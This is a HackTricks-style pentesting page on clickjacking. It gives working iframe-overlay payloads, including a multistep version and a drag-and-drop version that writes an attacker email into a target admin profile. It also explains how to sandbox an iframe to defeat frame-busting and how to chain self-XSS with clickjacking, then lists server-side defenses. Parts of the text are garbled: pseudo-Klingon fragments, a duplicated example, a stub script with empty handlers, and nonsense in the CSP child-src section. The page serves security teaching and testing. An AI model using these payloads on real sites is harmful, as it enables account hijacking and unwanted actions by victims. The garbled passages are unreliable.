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hacktricks/pentesting-web/clickjacking.md
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Clickjacking

htARTE (HackTricks AWS Red Team Expert) !HackTricks!

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What is Clickjacking

In a clickjacking attack, a user is tricked into clicking an element on a webpage that is either invisible or disguised as a different element. This manipulation can lead to unintended consequences for the user, such as the downloading of malware, redirection to malicious web pages, provision of credentials or sensitive information, money transfers, or the online purchasing of products.

Prepopulate forms trick

Sometimes is possible to fill the value of fields of a form using GET parameters when loading a page. An attacker may abuse this behaviour to fill a form with arbitrary data and send the clickjacking payload so the user press the button Submit.

Populate form with Drag&Drop

If you need the user to fill a form but you don't want to directly ask him to write some specific information (like the email and or specific password that you know), you can just ask him to Drag&Drop something that will write your controlled data like in this example.

Basic Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Multistep Payload

tlhIngan Hol Translation:

cha'logh QaD

HTML Example:

<iframe src="https://www.example.com" style="position:absolute; top:0; left:0; width:100%; height:100%; z-index:9999; opacity:0;"></iframe>
<div style="position:absolute; top:0; left:0; width:100%; height:100%; z-index:9998; background-color:red;"></div>

tlhIngan Hol Example:

<iframe src="https://www.example.com" style="position:absolute; top:0; left:0; width:100%; height:100%; z-index:9999; opacity:0;"></iframe>
<div style="position:absolute; top:0; left:0; width:100%; height:100%; z-index:9998; background-color:red;"></div>

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

Description

This technique involves using a combination of drag and drop events along with a click event to execute a payload. It takes advantage of the clickjacking vulnerability to trick the user into performing an unintended action.

How it works

  1. The attacker creates a malicious webpage that contains an invisible element, such as an iframe, positioned over a legitimate button or link.
  2. The attacker uses JavaScript to capture the drag and drop events on the webpage.
  3. When the user attempts to drag and drop an object, the malicious webpage intercepts the event and moves the invisible element to the same position as the object being dragged.
  4. As the user releases the object, the click event is triggered on the invisible element, which is positioned over the legitimate button or link.
  5. The user unknowingly clicks on the invisible element, executing the payload.

Mitigation

To mitigate this attack, web developers should implement the following measures:

  • Implement frame-busting techniques to prevent clickjacking attacks.
  • Use the X-Frame-Options header to restrict framing of the webpage.
  • Implement Content Security Policy (CSP) to restrict the sources of the webpage's content.
  • Regularly update and patch web browsers to ensure they are protected against clickjacking vulnerabilities.

Example

<iframe src="https://malicious-website.com" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0;"></iframe>

<button onclick="alert('Legitimate button clicked!')">Click me</button>

<script>
    document.addEventListener('dragstart', function(event) {
        // Capture drag and drop events
    });

    document.addEventListener('dragend', function(event) {
        // Move invisible element to the same position as the dragged object
    });

    document.addEventListener('click', function(event) {
        // Trigger click event on the invisible element
    });
</script>

References

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

If you have identified an XSS attack that requires a user to click on some element to trigger the XSS and the page is vulnerable to clickjacking, you could abuse it to trick the user into clicking the button/link.
Example:
You found a self XSS in some private details of the account (details that only you can set and read). The page with the form to set these details is vulnerable to Clickjacking and you can prepopulate the form with the GET parameters.
__An attacker could prepare a Clickjacking attack to that page prepopulating the form with the XSS payload and tricking the user into Submit the form. So, when the form is submitted and the values are modified, the user will execute the XSS.

Strategies to Mitigate Clickjacking

Client-Side Defenses

Scripts executed on the client side can perform actions to prevent Clickjacking:

  • Ensuring the application window is the main or top window.
  • Making all frames visible.
  • Preventing clicks on invisible frames.
  • Detecting and alerting users to potential Clickjacking attempts.

However, these frame-busting scripts may be circumvented:

  • Browsers' Security Settings: Some browsers might block these scripts based on their security settings or lack of JavaScript support.
  • HTML5 iframe sandbox Attribute: An attacker can neutralize frame buster scripts by setting the sandbox attribute with allow-forms or allow-scripts values without allow-top-navigation. This prevents the iframe from verifying if it is the top window, e.g.,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

Server-Side Defenses

X-Frame-Options

X-Frame-Options HTTP response header informs browsers about the legitimacy of rendering a page in a <frame> or <iframe>, helping to prevent Clickjacking:

  • X-Frame-Options: deny - No domain can frame the content.
  • X-Frame-Options: sameorigin - Only the current site can frame the content.
  • X-Frame-Options: allow-from https://trusted.com - Only the specified 'uri' can frame the page.
  • Note the limitations: if the browser doesn't support this directive, it might not work. Some browsers prefer the CSP frame-ancestors directive.

Content Security Policy (CSP) frame-ancestors directive

frame-ancestors directive in CSP is the advised method for Clickjacking protection:

  • frame-ancestors 'none' - Similar to X-Frame-Options: deny.
  • frame-ancestors 'self' - Similar to X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Similar to X-Frame-Options: allow-from.

For instance, the following CSP only allows framing from the same domain:

Content-Security-Policy: frame-ancestors 'self';

Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla's CSP frame-ancestors documentation.

Content Security Policy (CSP) with child-src and frame-src

Content Security Policy (CSP) is a security measure that helps in preventing Clickjacking and other code injection attacks by specifying which sources the browser should allow to load content.

frame-src Directive

  • Defines valid sources for frames.
  • More specific than the default-src directive.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

child-src Directive

  • CSP level 2-vaD vItlhutlh web workers je frames vItlhutlh valid sources set.
  • frame-src je worker-src vItlhutlh fallback vaj.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

ghItlhvam:

  • Qap: 'ej 'e' vItlhutlh 'e' vItlhutlh 'ej https://trusted-website.com.
  • QaD:
    • Deprecation: child-src 'ej frame-src 'ej worker-src vItlhutlh.
    • Fallback Behavior: vaj frame-src 'e' vItlhutlh, child-src vItlhutlh. vaj cha'logh, default-src vItlhutlh.
    • Strict Source Definition: vItlhutlh sources vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh.

JavaScript Frame-Breaking Scripts

ghItlhvam:

  • Qapla': JavaScript-based frame-busting scripts vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh. Example:
if (top !== self) {
top.location = self.location;
}

qo'wI'wI' Anti-CSRF Tokens

  • Token Validation: web applications anti-CSRF tokens use to ensure that state-changing requests are made intentionally by the user and not through a Clickjacked page.

References


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Get Access Today:

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